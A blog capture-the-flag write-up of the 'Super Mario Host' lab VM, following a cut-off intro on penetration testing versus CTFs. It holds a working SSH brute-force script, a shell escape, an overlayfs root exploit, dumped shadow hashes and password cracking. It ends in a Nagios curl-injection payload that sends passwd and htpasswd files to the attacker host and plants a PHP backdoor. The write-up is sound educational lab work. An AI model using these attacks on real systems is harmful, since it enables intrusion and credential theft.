A Dive into the Nuances of Penetration Testing vs Capture the Flag Challenges

Introduction Embarking on a journey into the dynamic world of cybersecurity, at some point, you'll inevitably encounter the terms of Penetration Testing and Capture the Flag (CTF) challenges. This post aims to unravel the intricate differences between these two domains, shedding light on the nuances and hopefully making things just a bit clearer and more distinctive. Let's jump into it. Understanding the Objectives At its core, penetration testing is a meticulous and systematic endeavor to uncover and exploit vulnerabilities within a targeted system, network or application. Unlike the clandestine nature of real-world attackers, penetration testers operate with explicit consent, allowing for a comprehensive evaluation of an organization's security posture. The overarching goal is to emulate genuine threats, providing valuable insights into potential weaknesses and areas for improvement. The main and final goal is to provide the client with value, by identifying, exploiting

Super Mario Host 1.0.1 Writeup

So, after some time, it's time for another ctf. This time, I'll be doing Super Mario Host, created by mr_h4sh.

First things first, some great ASCII art over here.


As always, starting off by nmaping the host to check out what's exposed.

root@kali:~/ctfs/supermario# nmap -A -T4 -sV -p- -v -n -Pn 192.168.163.133

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-22 12:00 EEST
NSE: Loaded 143 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:00
Completed NSE at 12:00, 0.00s elapsed
Initiating NSE at 12:00
Completed NSE at 12:00, 0.00s elapsed
Initiating ARP Ping Scan at 12:00
Scanning 192.168.163.133 [1 port]
Completed ARP Ping Scan at 12:00, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:00
Scanning 192.168.163.133 [65535 ports]
Discovered open port 22/tcp on 192.168.163.133
Discovered open port 8180/tcp on 192.168.163.133
Completed SYN Stealth Scan at 12:00, 3.04s elapsed (65535 total ports)
Initiating Service scan at 12:00
Scanning 2 services on 192.168.163.133
Completed Service scan at 12:00, 11.07s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.163.133
NSE: Script scanning 192.168.163.133.
Initiating NSE at 12:01
Completed NSE at 12:01, 0.55s elapsed
Initiating NSE at 12:01
Completed NSE at 12:01, 0.01s elapsed
Nmap scan report for 192.168.163.133
Host is up (0.00040s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 1c:97:c0:06:3b:cb:4f:6f:0f:65:8d:37:82:c4:23:59 (DSA)
|   2048 45:2d:fe:04:bb:98:ed:00:d7:7b:36:da:8f:cf:44:1c (RSA)
|_  256 09:5c:25:9d:5c:54:ae:8d:90:e3:44:9b:5e:a1:4d:e0 (ECDSA)
8180/tcp open  http    Apache httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: nginx
MAC Address: 00:0C:29:33:70:75 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Uptime guess: 0.008 days (since Sat Apr 22 11:48:46 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.163.133

NSE: Script Post-scanning.
Initiating NSE at 12:01
Completed NSE at 12:01, 0.00s elapsed
Initiating NSE at 12:01
Completed NSE at 12:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.02 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

A web server and an ssh one. Let's take a look at the webserver.


Default thingy is default. Let's take a look if there is anything to be found with a bit dirbusting. I'll be using the small raft wordlist for directories. You can find it among others in SecLists.

root@kali:~/Tools/dirsearch# ./dirsearch.py -u http://192.168.163.133:8180/ -e "" -w ../SecLists/Discovery/Web_Content/raft-small-directories.txt 

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 20122

Error Log: /root/Tools/dirsearch/logs/errors-17-04-22_12-09-05.log

Target: http://192.168.163.133:8180/

[12:09:05] Starting: 
[12:09:27] 403 -  215B  - /server-status
[12:09:47] 200 -  612B  - /
[12:10:20] 200 -    1KB - /vhosts

Task Completed

Ok we got something interesting. A file about the vhosts on the server. Visiting it through the browser wields nice results.


So there is the vhost "mario.supermariohost.local". I'm adding this entry in my /etc/hosts

root@kali:~/Tools/dirsearch# echo "192.168.163.133 mario.supermariohost.local" >> /etc/hosts
root@kali:~/Tools/dirsearch# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.163.133 mario.supermariohost.local

And then I visit that with a browser.


A mario browser game! In my case it's not actually working right because there is some content that need to be fetched from an online server, but fun nonetheless. Nothing more to help move forward though. However, notice that in the vhosts file, it says that this is the default page, mario.php. The message at the top of the screen mentions Luigi too though. Is there a luigi.php perhaps?


There it is! And it clearly states the love of both brothers about Princess Peach.

Looking around the webserver there is nothing else of much interest so I move over to the ssh server open on the machine.

After having tried some usernames and passwords, I notice that there must be some kind of protection on the host. After few connection attempts it seems to either be blocking me for a little while, or just hanging. However, fail2ban and other such tools, struggle when it comes to IPv6.

First gotta check out what other IPv6 hosts there are on the network.

root@kali:~/ctfs/supermario# ping6 -I eth1 ff02::1
PING ff02::1(ff02::1) from fe80::77f9:6d52:318e:a1f%eth1 eth1: 56 data bytes
64 bytes from fe80::77f9:6d52:318e:a1f%eth1: icmp_seq=1 ttl=64 time=0.212 ms
64 bytes from fe80::20c:29ff:fe33:7075%eth1: icmp_seq=1 ttl=64 time=1.33 ms (DUP!)
64 bytes from fe80::77f9:6d52:318e:a1f%eth1: icmp_seq=2 ttl=64 time=0.153 ms
64 bytes from fe80::20c:29ff:fe33:7075%eth1: icmp_seq=2 ttl=64 time=0.545 ms (DUP!)
64 bytes from fe80::77f9:6d52:318e:a1f%eth1: icmp_seq=3 ttl=64 time=0.153 ms
64 bytes from fe80::20c:29ff:fe33:7075%eth1: icmp_seq=3 ttl=64 time=0.455 ms (DUP!)
64 bytes from fe80::77f9:6d52:318e:a1f%eth1: icmp_seq=4 ttl=64 time=0.181 ms
64 bytes from fe80::20c:29ff:fe33:7075%eth1: icmp_seq=4 ttl=64 time=0.811 ms (DUP!)
64 bytes from fe80::77f9:6d52:318e:a1f%eth1: icmp_seq=5 ttl=64 time=0.128 ms
64 bytes from fe80::20c:29ff:fe33:7075%eth1: icmp_seq=5 ttl=64 time=0.796 ms (DUP!)

That way, I perform a ping for all IPv6 addresses on the local link. I'm given back 2 hosts. fe80::77f9:6d52:318e:a1f is my link local address, so fe80::20c:29ff:fe33:7075 is the link local address of the box. Link local addresses can be used to access other machines in an IPv6 switched network. However the interface these are accessible from is present hence %eth1 in there.

I verify with another nmap.

root@kali:~/ctfs/supermario# nmap -6 -v -p- -n fe80::20c:29ff:fe33:7075%eth1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-22 12:41 EEST
Initiating ND Ping Scan at 12:41
Scanning fe80::20c:29ff:fe33:7075 [1 port]
Completed ND Ping Scan at 12:41, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:41
Scanning fe80::20c:29ff:fe33:7075 [65535 ports]
Discovered open port 22/tcp on fe80::20c:29ff:fe33:7075
Discovered open port 8180/tcp on fe80::20c:29ff:fe33:7075
Completed SYN Stealth Scan at 12:41, 4.17s elapsed (65535 total ports)
Nmap scan report for fe80::20c:29ff:fe33:7075
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8180/tcp open  unknown
MAC Address: 00:0C:29:33:70:75 (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.49 seconds
           Raw packets sent: 65536 (4.194MB) | Rcvd: 65536 (3.932MB)

After a few attempts to connect via IPv6 on the ssh server, it's clear that such requests are not being blocked. Whatever blocking mechanism there is there, is clearly bypassed with IPv6. However, I didn't have much luck with any of the other bruteforcing tools in IPv6 so...to python!

After some trial and error I end up with the following script

import paramiko, sys, os, socket, multiprocessing

global host, username, line, input_file
line = '\n--------------------------------------------------\n'
try:
    input_file = 'testlist2'
    host = 'fe80::20c:29ff:fe33:7075%eth1'
    username = 'luigi'
    threads = 10
    if os.path.exists(input_file) == False:
        print '\n[*] File Path Does Not Exist!'
        sys.exit(4)
except KeyboardInterrupt:
    print '\n\n[*] User Requested An Interrupt'
    sys.exit(3)


def ssh_connect(password, event, code = 0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    except socket.error, e:
        code = 2
    ssh.close()
    if code == 0:
        print('%s[*] User: %s [*] Pass Found: %s%s' % (line, username, password, line))
        event.set()
        sys.exit(0)
    elif code == 1:
        print('[*] User: %s [*] Pass: %s => Login Incorrect! <=' % (username,password))
    elif code == 2:
        print('[*] Connection Could Not Be Established To Address: %s' % (host))
        sys.exit(2)
    pass


print ''
with open(input_file) as file:
    passwords = file.readlines()
passwords = [x.strip('\n') for x in passwords]
pool = multiprocessing.Pool(threads)
m = multiprocessing.Manager()
event = m.Event()
for password in passwords:
    pool.apply_async(ssh_connect, (password, event))
pool.close()
event.wait()
pool.terminate()

Apart from anything else, it's multithreaded for speed, and gets its job done. As a wordlist, I create a small one based on the characters so far.

root@kali:~/ctfs/supermario# cat testlist
mario
luigi
peach
root@kali:~/ctfs/supermario# john --wordlist:testlist --rules --stdout > testlist2
Press 'q' or Ctrl-C to abort, almost any other key for status
153p 0:00:00:00 100.00% (2017-04-22 13:09) 1700p/s Peaching

And onward to run the script.

root@kali:~/ctfs/supermario# python bruteforcer.py 

[*] User: luigi [*] Pass: luigi => Login Incorrect! <=
[*] User: luigi [*] Pass: mario => Login Incorrect! <=
[*] User: luigi [*] Pass: Mario => Login Incorrect! <=
[*] User: luigi [*] Pass: Luigi => Login Incorrect! <=
[*] User: luigi [*] Pass: peach => Login Incorrect! <=
[*] User: luigi [*] Pass: Peach => Login Incorrect! <=
[*] User: luigi [*] Pass: mario1 => Login Incorrect! <=
[*] User: luigi [*] Pass: marios => Login Incorrect! <=
[*] User: luigi [*] Pass: peaches => Login Incorrect! <=
[*] User: luigi [*] Pass: luigis => Login Incorrect! <=

--------------------------------------------------
[*] User: luigi [*] Pass Found: luigi1
--------------------------------------------------

Running it for user mario didn't get me any results, but as luigi, success! Now I can just connect on the box regularly.

root@kali:~/ctfs/supermario# ssh luigi@192.168.163.133
   _____                         __  __            _         _    _           _   
  / ____|                       |  \/  |          (_)       | |  | |         | |  
 | (___  _   _ _ __   ___ _ __  | \  / | __ _ _ __ _  ___   | |__| | ___  ___| |_ 
  \___ \| | | | '_ \ / _ \ '__| | |\/| |/ _` | '__| |/ _ \  |  __  |/ _ \/ __| __|
  ____) | |_| | |_) |  __/ |    | |  | | (_| | |  | | (_) | | |  | | (_) \__ \ |_ 
 |_____/ \__,_| .__/ \___|_|    |_|  |_|\__,_|_|  |_|\___/  |_|  |_|\___/|___/\__|
              | |                                                                 
              |_|                                                                 
luigi@192.168.163.133's password: 
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
luigi:~$ ?
awk  cat  cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo  vim

I omitted some output from the ssh banner since it's kinda' big but doesn't actuall matter so I'll keep doing so. Aaand I find myself in a limited shell, with a few commands to run. However escaping a limited shell when there is access to awk is as simple as

luigi:~$ awk 'BEGIN {system("/bin/bash")}'
luigi@supermariohost:~$

In there, I find an interesting message.

luigi@supermariohost:~$ ls -l
total 4
-rw-r--r-- 1 root root 283 Mar  8 13:45 message
luigi@supermariohost:~$ cat message
YOU BROTHER! YOU!! 
I had to see it coming!!
Not only you declare your love for Pricess Peach, my only love and reason of life (and lives, depending from the player), but you also mess with my server!
So here you go, in a limited shell! Now you can't do much, MUHAUHAUHAUHAA

Mario.

Ah so the brothers are fighting over the love of the Princess. However that limited shell didn't do much. :P

Moving on, I grab a copy of LinEnum.sh, to perform some first enumeration on the box, run it, and take the file with the results back.

luigi@supermariohost:~$ wget http://192.168.163.131/LinEnum.sh
--2017-04-22 03:25:37--  http://192.168.163.131/LinEnum.sh
Connecting to 192.168.163.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 40155 (39K) [text/x-sh]
Saving to: ‘LinEnum.sh’

100%[============================================================================>] 40,155      --.-K/s   in 0s      

2017-04-22 03:25:37 (105 MB/s) - ‘LinEnum.sh’ saved [40155/40155]

luigi@supermariohost:~$ chmod +x LinEnum.sh 
luigi@supermariohost:~$ ./LinEnum.sh -t > luigi-enumed.txt
luigi@supermariohost:~$ scp luigi-enumed.txt root@192.168.163.131:/root/ctfs/supermario/
root@192.168.163.131's password: 
luigin-enumed.txt                                                                   100%   43KB  43.2KB/s   00:00

The most interesting part, is the fact that under the interfaces part, there is this little thing...

virbr0    Link encap:Ethernet  HWaddr fe:54:00:24:ed:ab  
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:51 errors:0 dropped:0 overruns:0 frame:0
          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4492 (4.4 KB)  TX bytes:2524 (2.5 KB)

There is a virtual network interface. Looks like the box is used to host another vm internally. Before moving in though, let's take a closer look to supermariohost box.

By taking that closer look, I notice the following in the root directory.

luigi@supermariohost:~$ ls -la /
total 88
drwxr-xr-x  23 root root  4096 Mar 10 07:38 .
drwxr-xr-x  23 root root  4096 Mar 10 07:38 ..
d--x--x--x   3 root root  4096 Mar 10 12:41 .bak
drwxr-xr-x   2 root root  4096 Mar  9 05:37 bin
drwxr-xr-x   3 root root  4096 Mar  9 05:37 boot
drwxr-xr-x  15 root root  4100 Apr 22 04:44 dev
drwxr-xr-x 120 root root  4096 Apr 22 04:44 etc
drwxr-xr-x   4 root root  4096 Mar  8 13:03 home
lrwxrwxrwx   1 root root    33 Mar  8 11:15 initrd.img -> boot/initrd.img-3.13.0-32-generic
drwxr-xr-x  24 root root  4096 Mar  9 05:37 lib
drwxr-xr-x   2 root root  4096 Mar 10 08:22 lib64
drwx------   2 root root 16384 Mar  8 11:14 lost+found
drwxr-xr-x   4 root root  4096 Mar  8 11:14 media
drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root  4096 Mar  8 11:18 opt
dr-xr-xr-x 137 root root     0 Apr 22 04:43 proc
drwx------  17 root root  4096 Mar 23 02:14 root
drwxr-xr-x  20 root root   700 Apr 22 03:14 run
drwxr-xr-x   2 root root  4096 Mar  9 05:37 sbin
drwxr-xr-x   2 root root  4096 Jul 22  2014 srv
dr-xr-xr-x  13 root root     0 Apr 22 04:43 sys
drwxrwxrwt   5 root root  4096 Apr 22 04:59 tmp
drwxr-xr-x  10 root root  4096 Mar  8 11:14 usr
drwxr-xr-x  12 root root  4096 Mar  8 11:20 var
lrwxrwxrwx   1 root root    30 Mar  8 11:15 vmlinuz -> boot/vmlinuz-3.13.0-32-generic
luigi@supermariohost:~$ cd /.bak
luigi@supermariohost:/.bak$ ls -l
ls: cannot open directory .: Permission denied

A hidden folder ".bak", that nobody can look into but everyone can run things from. That's not usually there in a filesystem. These permissions mean, that if I know the exact path of the contents inside that folder, I actually probably have access to them.

In order to check if there are any easy to find directories in there, I create the following script that bruteforces directory names from 1 to 5 characters given a given starting directory.

import os
from string import ascii_lowercase
from itertools import product

def findSubDir(baseDir):
    for X in range(1, 5, 1):
        keywords = [''.join(i) for i in product(ascii_lowercase, repeat = X)]
        for word in keywords:
            if os.path.exists(os.path.join(baseDir, word)):
                print os.path.join(baseDir, word)
                findSubDir(os.path.join(baseDir, word))

if __name__ == "__main__":
    findSubDir('/.bak')

I paste the script in a file in supermariohost and run it.

luigi@supermariohost:~$ python brutedir.py 
/.bak/users
/.bak/users/luigi
luigi@supermariohost:~$ cd /.bak/users/luigi
luigi@supermariohost:/.bak/users/luigi$ ls -la
total 24
dr-xr-xr-x 3 luigi luigi 4096 Mar 10 08:08 .
dr-xr-xr-x 3 root  root  4096 Mar 10 12:41 ..
-rw------- 1 luigi luigi 1766 Mar 10 08:07 id_rsa
-rw-r--r-- 1 luigi luigi  399 Mar 10 08:07 id_rsa.pub
-rwx------ 1 luigi luigi  145 Mar 10 07:23 message
drwxr-xr-x 2 luigi luigi 4096 Mar 10 07:25 .ssh

That's great. Got some ssh keys and a message!

luigi@supermariohost:/.bak/users/luigi$ cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5+HFigZJi64vGOo8lCq6GuHU2iXp5bKi1wj5ZEhqawHYrtEYNfOvRnNCA7WKG/XE3j4yziCvHRSLgES9YZPRiPBLhNoVhPoxmvhUi/2nHCm54rdp8iWWdN4i/r3q2IV2YQk+XTVHNlPPSyCcSxGft22w57cR0NYXe3WmXm+q2TCASZs4jfM8kzwwRFHSLLNqFHzT0nhwgfFXkcPq3i6rmlAsKwLBjBQHENQr/YPMdgb7A+Pek82pMT2yGPYPtO9JNLJymNYY/pBv5j+P4SVmQ7tCMwcJNYhgo4O/ziGQnBHEdpQ49lETMRrntMa6kZtc4mObz0EYAVhj7YmoyLp7 warluigi@warluigi

warluigi@warluigi, looks like I got another username and the hostname of a machine I haven't visited yet. Propably the internal vm. However, let's take a look at the message first.

luigi@supermariohost:/.bak/users/luigi$ cat message 
Hi Luigi,

Since you've been messing around with my host, at this point I want to return the favour.
This is a "war", you "naughty" boy!

Mario.

Looks like the thing about the 2 brothers is escalating. And that's also a clear reference about Warluigi, another character.

Pausing for a moment here, I still didn't get a flag from supermariohost though, let's take a look at privesc. Taking a look at the data gathered from the enumeration previously, the kernel's version smells like overlayfs exploit. Let's give it a go.

luigi@supermariohost:~$ wget http://192.168.163.131/37292.c
--2017-04-22 06:35:06--  http://192.168.163.131/37292.c
Connecting to 192.168.163.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[============================================================================>] 5,123       --.-K/s   in 0s      

2017-04-22 06:35:07 (141 MB/s) - ‘37292.c’ saved [5123/5123]

luigi@supermariohost:~$ gcc -o ofs 37292.c 
luigi@supermariohost:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
# 

Great, now let's look for the flag

# python -c 'import pty; pty.spawn("/bin/bash")'
root@supermariohost:/home/luigi# 
root@supermariohost:/home/luigi# cd /root/
root@supermariohost:/root# ls -l
total 36
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Desktop
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Documents
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Downloads
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Music
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Pictures
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Public
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Templates
drwxr-xr-x 2 root root 4096 Mar  9 06:38 Videos
-rw-r--r-- 1 root root  398 Mar 13 10:25 flag.zip
root@supermariohost:/root# unzip flag.zip 
Archive:  flag.zip
[flag.zip] flag.txt password: 
   skipping: flag.txt                incorrect password
root@supermariohost:/root#

Yeeeah of course there is a password. I copy the file locally.

root@supermariohost:/root# scp flag.zip 192.168.163.131:/root/ctfs/supermario/ 
root@192.168.163.131's password: 
flag.zip                                      100%  398     0.4KB/s   00:00

Now with zip2john I extract the hash of the file, and throw it to john and hopefully I'll get something out of it.

root@kali:~/ctfs/supermario# zip2john flag.zip > flag1.hash
ver 14  efh 5455  efh 7875  flag.zip->flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=216, decmplen=338, crc=1B8C538A
root@kali:~/ctfs/supermario# ../../Tools/JohnTheRipper/run/john --wordlist:/usr/share/wordlists/rockyou.txt flag1.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip)
1g 0:00:00:00 DONE (2017-04-22 16:51) 5.000g/s 2539Kp/s 2539Kc/s 2539KC/s jordon04..happybunny1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Great, we got the password. Now let's see what this is about.

root@kali:~/ctfs/supermario# unzip flag.zip 
Archive:  flag.zip
[flag.zip] flag.txt password: 
  inflating: flag.txt                
root@kali:~/ctfs/supermario# cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!
        
mr_h4sh

Wait, according to the flag, I still need to get the passwords of the characters in this scenario.

root@supermariohost:/root# cat /etc/shadow
root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQathO3/wgvHEoyeP6DwL3NHZy903HXQ/F2uXiTXrhETX19/txbA1:17248:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::
mail:*:16273:0:99999:7:::
news:*:16273:0:99999:7:::
uucp:*:16273:0:99999:7:::
proxy:*:16273:0:99999:7:::
www-data:*:16273:0:99999:7:::
backup:*:16273:0:99999:7:::
list:*:16273:0:99999:7:::
irc:*:16273:0:99999:7:::
gnats:*:16273:0:99999:7:::
nobody:*:16273:0:99999:7:::
libuuid:!:16273:0:99999:7:::
syslog:*:16273:0:99999:7:::
messagebus:*:17233:0:99999:7:::
mario:$6$WG.vWiw8$OhoMhuAHSqPYTu1wCEWNc4xoUyX6U/TrLlK.xyhRKZB3SyCtxMDSoQ6vioNvpNOu78kQVTbwTcHPQMIDM2CSJ.:17248:0:99999:7:::
sshd:*:17233:0:99999:7:::
luigi:$6$kAYr2OVy$1qBRKJIWqkpNohmMIP3r3H3yPDQ9UfUBcO4pahlXf6QfnqgW/XpKYlQD4jN6Cfn.3wKCWoM7gPbdIbnShFJD40:17233:0:99999:7:::
dnsmasq:*:17234:0:99999:7:::
libvirt-qemu:!:17234:0:99999:7:::
libvirt-dnsmasq:!:17234:0:99999:7:::
usbmux:*:17234:0:99999:7:::
lightdm:*:17234:0:99999:7:::
pulse:*:17234:0:99999:7:::
root@supermariohost:/root#

No password for mario yet! Gotta get this too. I grab a copy of Mario's hash to my machine.

Then I make a wordlist containing all the occurrences of mario, luigi and peach from rockyou and use it with john against that hash.

root@kali:~/ctfs/supermario# cat /usr/share/wordlists/rockyou.txt | grep mario > wordlist.txt
root@kali:~/ctfs/supermario# cat /usr/share/wordlists/rockyou.txt | grep luigi >> wordlist.txt
root@kali:~/ctfs/supermario# cat /usr/share/wordlists/rockyou.txt | grep peach >> wordlist.txt
root@kali:~/ctfs/supermario# ../../Tools/JohnTheRipper/run/john --wordlist:wordlist.txt --rules mariohash 
Using default input encoding: UTF-8
Loaded 1 password hashes with 1 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE4.1 2x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach!      (mario)
3g 0:00:02:32 DONE (2017-04-22 18:05) 0.01964g/s 610.2cp/s 610.2c/s 610.2C/s chamario!..fcukupeach!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Aaand that's it. Got the flag and passwords for both characters Mario and Luigi. Now moving forward. Let's locate the vm hosted in supermariohost that's probably called warluigi.

Since the box I already have a foothold on doesn't have nmap, I'll just perform a ping sweep with fping.

mario@supermariohost:~$ fping -g -c 1 192.168.122.0/24 2>/dev/null
192.168.122.1   : [0], 84 bytes, 0.08 ms (0.08 avg, 0% loss)
192.168.122.122 : [0], 84 bytes, 1.07 ms (1.07 avg, 0% loss)

So, I got the IP of the internal vm. That would be 192.168.122.122 since .1 belongs to supermariohost. Now time to check out what this one exposes.

To scan the internal host, since as mentioned earlier there is no nmap on that host, I'll just use another little python script for the job.

from socket import *

if __name__ == '__main__':
    targetIP = '192.168.122.122'
    print 'Starting scan on host ', targetIP

    for i in range(1, 65535):
        s = socket(AF_INET, SOCK_STREAM)
        result = s.connect_ex((targetIP, i))
        if(result == 0) :
            print 'Port %d: OPEN' % (i,)
        s.close()

Let's see what this will give us.

mario@supermariohost:~$ python portscan.py
Starting scan on host  192.168.122.122
Port 22: OPEN
Port 80: OPEN

Port 80 and another ssh server. And I've got some key from earlier for warluigi.

I set up an ssh tunnel, from my local port 8000 through supermariohost towards port 80 on the internal vm.

root@kali:~# ssh -L 8000:192.168.122.122:80 mario@192.168.163.133
   _____                         __  __            _         _    _           _   
  / ____|                       |  \/  |          (_)       | |  | |         | |  
 | (___  _   _ _ __   ___ _ __  | \  / | __ _ _ __ _  ___   | |__| | ___  ___| |_ 
  \___ \| | | | '_ \ / _ \ '__| | |\/| |/ _` | '__| |/ _ \  |  __  |/ _ \/ __| __|
  ____) | |_| | |_) |  __/ |    | |  | | (_| | |  | | (_) | | |  | | (_) \__ \ |_ 
 |_____/ \__,_| .__/ \___|_|    |_|  |_|\__,_|_|  |_|\___/  |_|  |_|\___/|___/\__|
              | |                                                                 
              |_|                                                                 
mario@192.168.163.133's password: 
mario@supermariohost:~$

Next, having the tunnel in place, I visit my localhost on port 8000.


Again, default thingy is default. Time for some further dirbusting through the tunnel this time.

root@kali:~/Tools/dirsearch# ./dirsearch.py -u http://localhost:8000/ -w ../SecLists/Discovery/Web_Content/raft-small-directories.txt -e ""

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 20122

Error Log: /root/Tools/dirsearch/logs/errors-17-04-22_22-37-34.log

Target: http://localhost:8000/

[22:37:34] Starting: 
[22:38:46] 403 -  291B  - /server-status
[22:39:56] 200 -   11KB - /
[22:41:45] 401 -  457B  - /nagios

Task Completed

A 401 response on a nagios directory. 401 means that the HTTP authentication failed. Let's take a look. I navigate to http://localhost:8000/nagios and enter the default credentials username: nagiosadmin and password: nagios


Looking for any low hanging fruit to give me access from the web-server doesn't wield any results. However there are CVE-2016-9565 and CVE-2016-9566 that combined together seem very promising. Those require some other form of access though.

With that in mind, I move over to the ssh server. I already have Luigi's key and a username. Let's see if I can do anything with those.

luigi@supermariohost:/.bak/users/luigi$ ssh -i id_rsa warluigi@192.168.122.122
Enter passphrase for key 'id_rsa': 
warluigi@warluigi:~$

Worked like a charm and I'm in. Simply using "warluigi" as the passphrase for the key did the job. Now off to enumerate the warluigi box.

First, I start netcat listener on supermariohost serving LinEnum.sh since I already have it there.

root@supermariohost:/home/luigi# nc -l -p 1234 < LinEnum.sh

And then, on warluigi, I connect to the netcat listener, grab the file and execute it.

warluigi@warluigi:~$ nc -w 3 -n 192.168.122.1 1234 > LinEnum.sh
warluigi@warluigi:~$ chmod +x LinEnum.sh
warluigi@warluigi:~$ ./LinEnum.sh -t > warluigi-enumed.txt

I spend some time going over the results of the script. The most interesting part of the output is the one below.

We can sudo without supplying a password!
Matching Defaults entries for warluigi on warluigi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User warluigi may run the following commands on warluigi:
    (root) NOPASSWD: sudoedit /etc/hosts

Warluigi has access to edit /etc/hosts, and that is exactly what I need in order to make these previously mentioned nagios exploits work.

Practically, the exploit triggers upon login in the nagios web gui (I already got the nagios creds), and the request to retrieve feeds is made to www.nagios.org but the domain name is somehow controlled by the attacker (since I got access to edit /etc/hosts that's covered).

First I use sudoedit to edit /etc/hosts on warluigi. Cat is used for the output here.

warluigi@warluigi:~$ sudoedit /etc/hosts
warluigi@warluigi:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 warluigi

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.122.1 www.nagios.org

Then I grab a copy of the first exploit on supermariohost box since that's the one impersonating ww.nagios.org, and I run it.

root@supermariohost:/home/mario# python nagios_cmd_injection.py 192.168.122.1

Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
CVE-2016-9565
nagios_cmd_injection.py ver. 1.0

Discovered & Coded by:

Dawid Golunski
https://legalhackers.com


[+] Generating SSL certificate for our python HTTPS web server 

[+] Starting the web server on ports 80 & 443 

[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)


And then, through the previously created ssh tunnel, I visit the nagios weg gui, log in, and navigate to /rss-corefeed.php as per the exploit's instructions.


When I visit rss-corefeed.php the console gets the following output.

[+] Received GET request from Nagios server (192.168.122.122) ! Sending redirect to inject our curl payload:

-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php

[+] Success, curl payload injected! Received data back from the Nagios server 192.168.122.122

[*] Contents of /etc/passwd file from the target:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
